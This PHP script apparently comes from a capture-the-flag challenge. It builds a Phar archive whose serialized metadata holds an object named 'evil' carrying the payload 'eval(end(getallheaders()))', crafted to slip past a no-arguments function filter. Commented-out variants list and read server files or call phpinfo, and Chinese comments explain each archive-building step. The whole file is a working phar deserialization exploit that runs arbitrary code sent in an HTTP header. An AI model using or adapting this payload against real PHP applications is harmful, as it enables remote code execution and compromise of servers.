<?php

//error_reporting(0);
//highlight_file(__FILE__);

class evil
{
//    public $cmd="print_r(scandir(current(localeconv())));__halt_compiler();";
//    public $cmd="var_dump(readfile(array_rand(array_flip(scandir(current(localeconv()))))));__halt_compiler();";
    public $cmd="eval(end(getallheaders()));__halt_compiler();";
//    public $a;

//    public function __destruct()
//    {
//        if ('ch3nx1' === preg_replace('/;+/', 'ch3nx1', preg_replace('/[A-Za-z_\(\)]+/', '', $this->cmd))) {
//            eval($this->cmd . 'isbigvegetablechicken!');
//        } else {
//            echo 'nonono';
//        }
//    }
    }
$a=new evil();
//$a->cmd="phpinfo();__halt_compiler();";
@unlink('test.phar');//删除test.phar文件,前面加上@确保不报错
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();